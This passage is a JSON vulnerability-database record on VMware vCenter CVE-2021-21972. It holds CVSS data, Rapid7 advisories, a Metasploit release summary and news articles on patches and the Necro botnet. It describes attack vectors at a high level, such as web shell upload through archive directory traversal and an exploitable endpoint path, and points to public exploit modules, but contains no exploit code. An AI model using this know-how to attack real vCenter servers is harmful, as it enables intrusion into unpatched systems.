4.2 and 3.x before 3.10.1.2).", "edition": 7, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-02-24T17:15:00", "title": "CVE-2021-21972", "type": "cve", "cwe": ["CWE-269"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21972"], "modified": "2021-03-25T18:49:00", "cpe": ["cpe:/a:vmware:vcenter_server:7.0", "cpe:/a:vmware:vcenter_server:6.7", "cpe:/a:vmware:vcenter_server:6.5"], "id": "CVE-2021-21972", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-21972", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:a:vmware:vcenter_server:6.5:e:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:b:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u2d:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:b:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:d:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u2:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:-:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u3b:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:d:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:7.0:b:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u1:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:-:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:7.0:a:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u2a:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:a:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u3f:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u3d:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u1b:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u2:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:7.0:d:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u3k:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:7.0:u1:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:7.0:c:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u3f:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u3a:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u1d:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u3:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:7.0:u1a:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:f:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u3g:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u3j:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u1e:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u2g:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:c:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:a:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u2b:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u2c:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u3:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u1g:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u2c:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:7.0:-:*:*:*:*:*:*"]}], "rapid7blog": [{"lastseen": "2021-06-05T16:53:27", "bulletinFamily": "info", "cvelist": ["CVE-2021-21972", "CVE-2021-21985"], "description": "\n\nOn Tuesday, May 25, 2021, VMware published [security advisory VMSA-2021-0010](<https://www.vmware.com/security/advisories/VMSA-2021-0010.html>), which includes details on CVE-2021-21985, a critical remote code execution vulnerability in the vSphere Client (HTML5) component of vCenter Server (6.5, 6.7, and 7.0) and VMware Cloud Foundation (3.x and 4.x). The vulnerability arises from lack of input validation in the Virtual SAN Health Check plug-in, which is enabled by default in vCenter Server. Successful exploitation requires network access to port 443 and allows attackers to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server. CVE-2021-21985 carries a CVSSv3 base score of 9.8.\n\nWhile there are no reports of exploitation in the wild as of May 26, 2021, defenders may remember that CVE-2021-21972, another critical vCenter Server vulnerability from earlier this year, saw widespread exploitation within a few days of disclosure. It is likely that this latest severe flaw will follow suit, and we strongly recommend patching on an emergency basis, particularly given the increased prevalence of ransomware (whose operators often already have access to corporate networks via phished, leaked, reused, or otherwise stolen credentials). **Edit June 5, 2021:** Exploitation is now occurring in the wild. See AttackerKB for [full technical analysis](<https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985?referrer=blog#rapid7-analysis>).\n\nRapid7 Labs identified roughly 6,000 instances of vCenter Server exposed to the public internet as of May 26, 2021:\n\n\n\n## Recommendations\n\nVMware has a number of resources available for vCenter Server customers looking to understand and address CVE-2021-21985 and other vulnerabilities in this week\u2019s advisory, including a [blog post](<https://blogs.vmware.com/vsphere/2021/05/vmsa-2021-0010.html>) and a [supplemental FAQ](<https://core.vmware.com/resource/vmsa-2021-0010-faq>).\n\nOrganizations should update to an unaffected version of vCenter Server immediately, without waiting for their regular patch cycles. Those with emergency patch or incident response procedures should consider invoking them, particularly if their implementations of vCenter Server are (or were recently) exposed to the public internet. If you are unable to patch immediately, VMware has instructions on disabling the Virtual SAN Health Check plugin [here](<https://kb.vmware.com/s/article/83829>). Note that while disabling the plugin may mitigate exploitability, it does not remove the vulnerability.\n\nNetwork administrators should ensure that vCenter Server is not exposed to the internet.\n\nFor [further technical information of CVE-2021-21985](<https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985?referrer=blog#rapid7-analysis>), as well as community assessments of exploitability and attacker value, see AttackerKB. We'll update this blog post with more information as it becomes available.\n\n**Update June 5, 2021:** Multiple community sources have confirmed CVE-2021-21985 is [being exploited in the wild](<https://twitter.com/GossiTheDog/status/1400868390726733831>).", "modified": "2021-05-26T18:57:20", "published": "2021-05-26T18:57:20", "id": "RAPID7BLOG:7103223D85FA1742C265703CC8D3EE7C", "href": "https://blog.rapid7.com/2021/05/26/cve-2021-21985-vcenter-server-what-you-need-to-know/", "type": "rapid7blog", "title": "CVE-2021-21985: What you need to know about the latest critical vCenter Server vulnerability", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-03-05T15:09:20", "bulletinFamily": "info", "cvelist": ["CVE-2021-21972", "CVE-2021-21973", "CVE-2021-21974"], "description": "\n\n_This blog post was co-authored by Bob Rudis and Caitlin Condon. _\n\n## What\u2019s up?\n\nOn Feb. 23, 2021, VMware published an [advisory](<https://www.vmware.com/security/advisories/VMSA-2021-0002.html>) (VMSA-2021-0002) describing three weaknesses affecting VMware ESXi, VMware vCenter Server, and VMware Cloud Foundation.\n\nBefore digging into the individual vulnerabilities, it is vital that all organizations that use the HTML5 VMware vSphere Client, i.e., VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2) _immediately_ restrict network access to those clients\u2014especially if they are not segmented off on a management network\u2014implement the mitigation noted below, and consider performing accelerated/immediate patching on those systems.\n\n## Vulnerability details and recommendations\n\n**CVE-2021-21972 **is a critical (CVSSv3 base 9.8) unauthenticated remote code execution vulnerability in the HTML5 vSphere client. Any malicious actor with access to port 443 can exploit this weakness and execute commands with unrestricted privileges. \n\nPT Swarm has [provided a detailed walkthrough](<https://swarm.ptsecurity.com/unauth-rce-vmware/>) of this weakness and how to exploit it.\n\nRapid7 researchers have independently analyzed, tested, and confirmed the exploitability of this weakness and have provided [a full technical analysis](<https://attackerkb.com/topics/lrfxAJ9nhV/vmware-vsphere-client-unauth-remote-code-execution-vulnerability-cve-2021-21972?referrer=blog#rapid7-analysis>).\n\nProof-of-concept working exploits are beginning to appear on public code-sharing sites.\n\nOrganizations should restrict access to this plugin and patch affected systems immediately (i.e., not wait for standard patch change windows).\n\nVMware has [provided steps for a temporary mitigation](<https://kb.vmware.com/s/article/82374>), which involves disabling the plugin.\n\n**CVE-2021-21973 **is an important (CVSSv3 base 8.8) heap-overflow-based remote code execution vulnerability in VMware ESXi OpenSLP. Attackers with same-segment network access to port 427 on affected systems may be able to use the heap-overflow weakness to perform remote code execution.\n\nVMware has [provided steps for a temporary mitigation](<https://kb.vmware.com/s/article/76372>), which involves disabling the SLP service on affected systems.\n\nRapid7 recommends applying the vendor-provided patches as soon as possible after performing the vendor-recommended mitigation.\n\n**CVE-2021-21974** is a moderate (CVSSv3 base 5.3) server-side request forgery vulnerability affecting the HTML5 vSphere Client. Attackers with access to port 443 of affected systems can use this weakness to gain access to underlying system information.\n\nVMware has [provided steps for a temporary mitigation](<https://kb.vmware.com/s/article/82374>), which involves disabling the plugin.\n\nSince attackers will already be focusing on VMware systems due to the other high-severity weaknesses, Rapid7 recommends applying the vendor-provided patches as soon as possible after performing the vendor-recommended mitigation.\n\n## Attacker activity\n\nRapid7 Labs has not detected broad scanning for internet-facing VMware vCenter servers, but Bad Packets [has reported](<https://twitter.com/bad_packets/status/1364661586070102016?s=20>) that they\u2019ve detected opportunistic scanning. We will continue to monitor Project Heisenberg for attacker activity and update this blog post as we have more information.\n\n## Updates\n\n**2021-03-02** \u2022 As per our [updated analysis](<https://attackerkb.com/topics/lrfxAJ9nhV/vmware-vsphere-client-unauth-remote-code-execution-vulnerability-cve-2021-21972#rapid7-analysis>), members of the cybersecurity community (h/t to [@0x80O0oOverfl0w](<https://twitter.com/0x80O0oOverfl0w>)) have confirmed active, [opportunistic exploitation is occurring](<https://twitter.com/0x80O0oOverfl0w/status/1366754245870030849>). Rapid7 Labs has also identified active probing for internet-facing VMware vCenter instances. If your organization has not prioritized patching for this vulnerability Rapid7 strongly urges you to do so as soon as possible. \n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "modified": "2021-02-24T22:22:14", "published": "2021-02-24T22:22:14", "id": "RAPID7BLOG:7F5516EB3D3811BAE47D74129049D93F", "href": "https://blog.rapid7.com/2021/02/24/vmware-vcenter-server-cve-2021-21972-remote-code-execution-vulnerability-what-you-need-to-know/", "type": "rapid7blog", "title": "VMware vCenter Server CVE-2021-21972 Remote Code Execution Vulnerability: What You Need to Know", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-03-12T22:49:57", "bulletinFamily": "info", "cvelist": ["CVE-2017-8461", "CVE-2020-7200", "CVE-2021-21972"], "description": "## Archive directory traversals, now with your daily allowance of JSP\n\n\n\nIn a year already full of hot vulnerabilities, [CVE-2021-21972](<https://attackerkb.com/topics/lrfxAJ9nhV/vmware-vsphere-client-unauth-remote-code-execution-vulnerability-cve-2021-21972?referrer=blog>) in VMware's vCenter Server may already seem like old news. It's not, though! Thanks to [wvu-r7](<https://github.com/wvu-r7>) for grabbing this unauthenticated file upload combined with archive directory traversal to upload some sweet web shells. Also, thanks to [smcintyre-r7](<https://github.com/smcintyre-r7>) for reviewing and testing.\n\n## Keeping track of your favorite modules\n\nIf Metasploit's more than 3,500 modules ever feel like too much to track, [kalba-security](<https://github.com/kalba-security>) has added the `favorites` command to `msfconsole`. This new command allows users to save their favorite modules in a list viewable with `show favorites`. Thanks to [space-r7](<https://github.com/space-r7>) for helping get this over the line!\n\n## Google Summer of Code 2021\n\nWe are happy to announce that Metasploit Framework has been accepted for the 2021 iteration of Google Summer of Code! This year we are primarily looking for projects that increase visibility into the data that Metasploit collects or that make using exploitation APIs smoother. For more details on project ideas and how to apply, check out our [GSoC wiki page](<https://github.com/rapid7/metasploit-framework/wiki/How-to-Apply-to-GSoC>).\n\n## New Modules (3)\n\n * [VMware vCenter Server Unauthenticated OVA File Upload RCE](<https://github.com/rapid7/metasploit-framework/pull/14809>) by wvu, Mikhail Klyuchnikov, Viss, and mr_me, which exploits [CVE-2021-21972](<https://attackerkb.com/topics/lrfxAJ9nhV/vmware-vsphere-client-unauth-remote-code-execution-vulnerability-cve-2021-21972?referrer=blog>), an unauthenticated RCE in VMware Center.\n * [HPE Systems Insight Manager AMF Deserialization RCE](<https://github.com/rapid7/metasploit-framework/pull/14846>) by Grant Willcox, Harrison Neal, and Jang, which exploits ZDI-20-1449 ([CVE-2020-7200](<https://attackerkb.com/topics/31395hPcdh/cve-2020-7200?referrer=blog>)), targeting the `7.6.x` versions of HPE Systems Insight Manager software. Unauthenticated code execution as the user running the HPE SIM software (typically local administrator) can be obtained by sending a serialized AMF request to the `/simsearch/messagebroker/amfsecure` page.\n * [Microsoft Windows RRAS Service MIBEntryGet Overflow](<https://github.com/rapid7/metasploit-framework/pull/14847>) by Equation Group, Shadow Brokers, V\u00edctor Portal, and bcoles, which exploits CVE-2017-8461, a remote RCE in Routing and Remote Access Service (RRAS) on Windows Server 2003 identified as [CVE-2017-8461](<https://attackerkb.com/topics/cH3SJNSMsg/cve-2017-8461?referrer=blog>). This allows executing arbitrary commands with SYSTEM user privileges.\n\n## Enhancements and features\n\n * [#14201](<https://github.com/rapid7/metasploit-framework/pull/14201>) from [kalba-security](<https://github.com/kalba-security>) implements a new `msfconsole` command, `favorite`, which allows users to save favorite / commonly-used modules to a list for easy retrieval later.\n * [#14732](<https://github.com/rapid7/metasploit-framework/pull/14732>) from [zeroSteiner](<https://github.com/zeroSteiner>) adds a new Java deserialization mixin and modifies existing Java deserialization exploit modules to use the new mixin. Additionally, this fixes both the generation of the `ysoserial` payloads and the payloads themselves with improvements to the generation script, `find_ysoserial_offsets.rb` and pinning the `ysoserial` version that's used in the generation process.\n\n## Bugs Fixed\n\n * [#14792](<https://github.com/rapid7/metasploit-framework/pull/14792>) from [gwillcox-r7](<https://github.com/gwillcox-r7>) updates 11 modules targeting Windows systems that were improperly checking the environment architecture which led to broken WOW64 detection in some cases.\n * [#14871](<https://github.com/rapid7/metasploit-framework/pull/14871>) from [dwelch-r7](<https://github.com/dwelch-r7>) ensures that the BinData library is always available for use within modules\n * [#14874](<https://github.com/rapid7/metasploit-framework/pull/14874>) from [dwelch-r7](<https://github.com/dwelch-r7>) fixes autoloading when utilizing `Msf::RPC::Client` in external tooling.\n\n## Get it\n\nAs always, you can update to the latest Metasploit Framework with `msfupdate` \nand you can get more details on the changes since the last blog post from \nGitHub:\n\n * [Pull Requests 6.0.33...6.0.34](<https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222021-03-04T11%3A16%3A38-06%3A00..2021-03-11T15%3A08%3A27-06%3A00%22>)\n * [Full diff 6.0.33...6.0.34](<https://github.com/rapid7/metasploit-framework/compare/6.0.33...6.0.34>)\n\nIf you are a `git` user, you can clone the [Metasploit Framework repo](<https://github.com/rapid7/metasploit-framework>) (master branch) for the latest. \nTo install fresh without using git, you can use the open-source-only [Nightly Installers](<https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers>) or the \n[binary installers](<https://www.rapid7.com/products/metasploit/download.jsp>) (which also include the commercial edition).", "modified": "2021-03-12T21:45:48", "published": "2021-03-12T21:45:48", "id": "RAPID7BLOG:B253581ECA2FCB1FA25D45B69A6D7AE5", "href": "https://blog.rapid7.com/2021/03/12/metasploit-wrap-up-102/", "type": "rapid7blog", "title": "Metasploit Wrap-Up", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "wallarmlab": [{"lastseen": "2021-03-09T10:55:54", "bulletinFamily": "blog", "cvelist": ["CVE-2021-21972"], "description": "The recent critical security issue in VMware vCenter was discovered this January and fixed on February 23rd https://www.vmware.com/security/advisories/VMSA-2021-0002.html. The exploit looks like a simple JSP shell upload, but for some reason, it&#x27;s a blind spot for Web Application Firewalls (WAFs). Let&#x27;s understand why. The CVE-2021-21972 affects vCenter versions 6.5, 6.7, and 7.0. The exploit for Metasploit released https://vulners.com/packetstorm/PACKETSTORM:161695 today. [...]\n\nThe post [Why WAFs can&#x27;t catch VMware CVE-2021-21972 Remote Code Execution Exploit?](<https://lab.wallarm.com/why-wafs-cant-catch-vmware-cve-2021-21972-remote-code-execution-exploit/>) appeared first on [Wallarm Blog](<https://lab.wallarm.com>).", "modified": "2021-03-08T20:22:27", "published": "2021-03-08T20:22:27", "id": "WALLARMLAB:7A0E7E3752712070F3E75CEF26AC2CC0", "href": "https://lab.wallarm.com/why-wafs-cant-catch-vmware-cve-2021-21972-remote-code-execution-exploit/", "type": "wallarmlab", "title": "Why WAFs can\u2019t catch VMware CVE-2021-21972 Remote Code Execution Exploit?", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "thn": [{"lastseen": "2021-05-26T06:30:39", "bulletinFamily": "info", "cvelist": ["CVE-2021-21972", "CVE-2021-21984", "CVE-2021-21985", "CVE-2021-21986"], "description": "[](<https://thehackernews.com/images/-2U1OlLKowHE/YK3TqGgtBNI/AAAAAAAACoM/YQnmtOrG8sE0U4uZpTIs7KcB1_8zxwSHwCLcBGAsYHQ/s0/vmware-patch-update.jpg>)\n\nVMware has rolled out patches to address a critical security vulnerability in vCenter Server that could be leveraged by an adversary to execute arbitrary code on the server.\n\nTracked as CVE-2021-21985 (CVSS score 9.8), the issue stems from a lack of input validation in the Virtual SAN ([vSAN](<https://docs.vmware.com/en/VMware-vSphere/6.5/com.vmware.vsphere.virtualsan.doc/GUID-9504EECF-5946-49FB-86C6-8A4F977F5FC3.html>)) Health Check plug-in, which is enabled by default in the vCenter Server. \"A malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server,\" VMware [said](<https://www.vmware.com/security/advisories/VMSA-2021-0010.html>) in its advisory.\n\n[](<https://go.thn.li/1-300-6> \"password auditor\" )\n\nVMware vCenter Server is a server management utility that's used to control virtual machines, ESXi hosts, and other dependent components from a single centralized location. The flaw affects vCenter Server versions 6.5, 6.7, and 7.0 and Cloud Foundation versions 3.x and 4.x. VMware credited Ricter Z of 360 Noah Lab for reporting the vulnerability.\n\nThe patch release also rectifies an authentication issue in the vSphere Client that affects Virtual SAN Health Check, Site Recovery, vSphere Lifecycle Manager, and VMware Cloud Director Availability plug-ins (CVE-2021-21986, CVSS score: 6.5), thereby allowing an attacker to carry out actions permitted by the plug-ins without any authentication.\n\n[](<https://thehackernews.com/images/-kzpGHkhfj6Q/YK3UvKUogTI/AAAAAAAACoU/VakKsSNT1o0mW1nT7BAG4vIk6F0yREY0QCLcBGAsYHQ/s0/vmware.jpg>)\n\nWhile VMware is strongly recommending customers to apply the \"[emergency change](<https://blogs.vmware.com/vsphere/2021/05/vmsa-2021-0010.html>),\" the company has published a [workaround](<https://kb.vmware.com/s/article/83829>) to set the plug-ins as incompatible. \"Disablement of these plug-ins will result in a loss of management and monitoring capabilities provided by the plug-ins,\" the company noted.\n\n\"Organizations who have placed their vCenter Servers on networks that are directly accessible from the Internet [...] should audit their systems for compromise,\" VMware [added](<https://core.vmware.com/resource/vmsa-2021-0010-faq>). \"They should also take steps to implement more perimeter security controls (firewalls, ACLs, etc.) on the management interfaces of their infrastructure.\"\n\nCVE-2021-21985 is the second critical vulnerability that VMware has rectified in the vCenter Server. Earlier this February, it resolved a remote code execution vulnerability in a vCenter Server plug-in ([CVE-2021-21972](<https://thehackernews.com/2021/02/critical-rce-flaw-affects-vmware.html>)) that could be abused to run commands with unrestricted privileges on the underlying operating system hosting the server.\n\nThe fixes for the vCenter flaws also come after the company patched another critical remote code execution bug in VMware vRealize Business for Cloud ([CVE-2021-21984](<https://www.vmware.com/security/advisories/VMSA-2021-0007.html>), CVSS score: 9.8) due to an unauthorized endpoint that could be exploited by a malicious actor with network access to run arbitrary code on the appliance.\n\nPreviously, VMware had rolled out updates to [remediate multiple flaws](<https://thehackernews.com/2021/04/critical-auth-bypass-bug-found-in.html>) in VMware Carbon Black Cloud Workload and vRealize Operations Manager solutions.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "modified": "2021-05-26T04:57:58", "published": "2021-05-26T04:57:00", "id": "THN:4F010A66018968CA6DAA0432C00DAE10", "href": "https://thehackernews.com/2021/05/critical-rce-vulnerability-found-in.html", "type": "thn", "title": "Critical RCE Vulnerability Found in VMware vCenter Server \u2014 Patch Now!", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-06-03T18:34:22", "bulletinFamily": "info", "cvelist": ["CVE-2017-0144", "CVE-2017-0145", "CVE-2021-21972"], "description": "[](<https://thehackernews.com/images/-xLbunA9yK10/YLkJxMO-Q1I/AAAAAAAACvM/nmCtDmIhZswOE5N0nip4wXOkRMetd8YbACLcBGAsYHQ/s0/Necro-Python-bot.jpg>)\n\nNew upgrades have been made to a Python-based \"self-replicating, polymorphic bot\" called Necro in what's seen as an attempt to improve its chances of infecting vulnerable systems and evading detection.\n\n\"Although the bot was originally discovered earlier this year, the latest activity shows numerous changes to the bot, ranging from different command-and-control (C2) communications and the addition of new exploits for spreading, most notably vulnerabilities in VMWare vSphere, SCO OpenServer, Vesta Control Panel and SMB-based exploits that were not present in the earlier iterations of the code,\" researchers from Cisco Talos [said](<https://blog.talosintelligence.com/2021/06/necro-python-bot-adds-new-tricks.html>) in a deep-dive published today.\n\n[](<https://go.thn.li/1-728-5> \"password auditor\" )\n\nSaid to be in development as far back as 2015, [Necro](<https://malpedia.caad.fkie.fraunhofer.de/details/py.n3cr0m0rph>) (aka N3Cr0m0rPh) targets both Linux and Windows devices, with heightened activity observed at the start of the year as part of a malware campaign dubbed \"[FreakOut](<https://thehackernews.com/2021/01/freakout-ongoing-botnet-attack.html>)\" that was found exploiting [vulnerabilities](<https://blog.netlab.360.com/necro/>) in network-attached storage (NAS) devices running on [Linux machines](<https://blog.netlab.360.com/necro-upgrades-again-using-tor-dynamic-domain-dga-and-aiming-at-both-windows-linux/>) to co-opt the machines into a botnet for launching distributed denial-of-service (DDoS) attacks and mining Monero cryptocurrency.\n\nIn addition to its DDoS and RAT-like functionalities to download and launch additional payloads, Necro is designed with stealth in mind by installing a rootkit that hides its presence on the system. What's more, the bot also injects malicious code to retrieve and execute a JavaScript-based miner from a remote server into HTML and PHP files on infected systems.\n\n[](<https://thehackernews.com/images/-T11tz54OU8s/YLkIvEIHiHI/AAAAAAAACvE/w9Z7XokXIogZ_cJ0mnmknp_iSRaHFNCYgCLcBGAsYHQ/s0/hacking-malware.jpg>)\n\nWhile previous versions of the malware exploited flaws in Liferay Portal, Laminas Project, and TerraMaster, the latest variants observed on May 11 and 18 feature command injection exploits targeting Vesta Control Panel, ZeroShell 3.9.0, SCO OpenServer 5.0.7, as well as a remote code execution flaw impacting VMWare vCenter ([CVE-2021-21972](<https://thehackernews.com/2021/02/critical-rce-flaw-affects-vmware.html>)) that was patched by the company in February.\n\nA version of the botnet, released on May 18, also includes exploits for [EternalBlue](<https://thehackernews.com/2017/04/windows-hacking-tools.html>) (CVE-2017-0144) and [EternalRomance](<https://www.microsoft.com/security/blog/2017/06/16/analysis-of-the-shadow-brokers-release-and-mitigation-with-windows-10-virtualization-based-security/>) (CVE-2017-0145), both of which abuse a remote code execution vulnerability in Windows SMB protocol. These new additions serve to highlight that the malware author is actively developing new methods of spreading by taking advantage of publicly disclosed vulnerabilities.\n\nAlso of note is the incorporation of a [polymorphic engine](<https://www.trendmicro.com/vinfo/us/security/definition/Polymorphic-virus>) to mutate its source code with every iteration while keeping the original algorithm intact in a \"rudimentary\" attempt to limit the chances of being detected.\n\n\"Necro Python bot shows an actor that follows the latest development in remote command execution exploits on various web applications and includes the new exploits into the bot,\" Talos researchers said. \"This increases its chances of spreading and infecting systems. Users need to make sure to regularly apply the latest security updates to all of the applications, not just operating systems.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "modified": "2021-06-03T17:01:42", "published": "2021-06-03T17:01:00", "id": "THN:FF56343C15BACA1C1CE83A105EFD7F77", "href": "https://thehackernews.com/2021/06/necro-python-malware-upgrades-with-new.html", "type": "thn", "title": "Necro Python Malware Upgrades With New Exploits and Crypto Mining Capabilities", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-02-25T05:32:07", "bulletinFamily": "info", "cvelist": ["CVE-2019-19781", "CVE-2020-3992", "CVE-2021-21972", "CVE-2021-21973", "CVE-2021-21974", "CVE-2021-21976"], "description": "[](<https://thehackernews.com/images/-M_1KgL6tAuQ/YDYE-aJuyBI/AAAAAAAAB38/asAWmk7ZJscXPGS_gHJudw0GOAZrcEX7wCLcBGAsYHQ/s0/vmware.jpg>)\n\nVMware has addressed multiple critical remote code execution (RCE) vulnerabilities in VMware ESXi and vSphere Client virtual infrastructure management platform that may allow attackers to execute arbitrary commands and take control of affected systems.\n\n\"A malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server,\" the company [said](<https://www.vmware.com/security/advisories/VMSA-2021-0002.html>) in its advisory.\n\nThe vulnerability, tracked as CVE-2021-21972, has a CVSS score of 9.8 out of a maximum of 10, making it critical in severity.\n\n\"In our opinion, the RCE vulnerability in the vCenter Server can pose no less a threat than the infamous vulnerability in Citrix (CVE-2019-19781),\" said Positive Technologies' Mikhail Klyuchnikov, who discovered and reported the flaw to VMware.\n\n\"The error allows an unauthorized user to send a specially crafted request, which will later give them the opportunity to execute arbitrary commands on the server.\"\n\nWith this access in place, the attacker can then successfully move through the corporate network and gain access to the data stored in the vulnerable system, such as information about virtual machines and system users, [Klyuchnikov noted](<https://swarm.ptsecurity.com/unauth-rce-vmware/>).\n\nSeparately, a second vulnerability (CVE-2021-21973, CVSS score 5.3) allows unauthorized users to send POST requests, permitting an adversary to mount further attacks, including the ability to scan the company's internal network and retrieve specifics about the open ports of various services.\n\nThe information disclosure issue, according to VMware, stems from an SSRF (Server Side Request Forgery) vulnerability due to improper validation of URLs in the vCenter Server plugin.\n\n[](<https://thehackernews.com/images/-ptRHS90VS-M/YDaOLCFCy0I/AAAAAAAA3oU/eE4iu9IU3WI1xoEKlX6eypn5wcFlZWhwQCLcBGAsYHQ/s0/command.jpg>)\n\nVMware has also provided workarounds to remediate CVE-2021-21972 and CVE-2021-21973 temporarily until the updates can be deployed. Detailed steps can be found [here](<https://kb.vmware.com/s/article/82374>).\n\nIt's worth noting that VMware rectified a command injection vulnerability in its vSphere Replication product ([CVE-2021-21976](<https://www.vmware.com/security/advisories/VMSA-2021-0001.html>), CVSS score 7.2) earlier this month that could grant a bad actor with administrative privileges to execute shell commands and achieve RCE.\n\nLastly, VMware also resolved a heap-overflow bug (CVE-2021-21974, CVSS score 8.8) in ESXi's service location protocol (SLP), potentially allowing an attacker on the same network to send malicious SLP requests to an ESXi device and take control of it.\n\n[OpenSLP](<https://www.openslp.org/doc/html/IntroductionToSLP/index.html>) provides a framework to allow networking applications to discover the existence, location, and configuration of networked services in enterprise networks.\n\nThe latest fix for ESXi OpenSLP comes on the heels of a similar patch ([CVE-2020-3992](<https://www.vmware.com/security/advisories/VMSA-2020-0023.html>)) last November that could be leveraged to trigger a [use-after-free](<https://cwe.mitre.org/data/definitions/416.html>) in the OpenSLP service, leading to remote code execution.\n\nNot long after, reports of active exploitation attempts emerged in the wild, with ransomware gangs [abusing](<https://twitter.com/GossiTheDog/status/1324896051128635392>) the vulnerability to take over unpatched virtual machines deployed in enterprise environments and encrypt their virtual hard drives.\n\nIt's highly recommended that users install the updates to eliminate the risk associated with the flaws, in addition to \"removing vCenter Server interfaces from the perimeter of organizations, if they are there, and allocate them to a separate VLAN with a limited access list in the internal network.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and 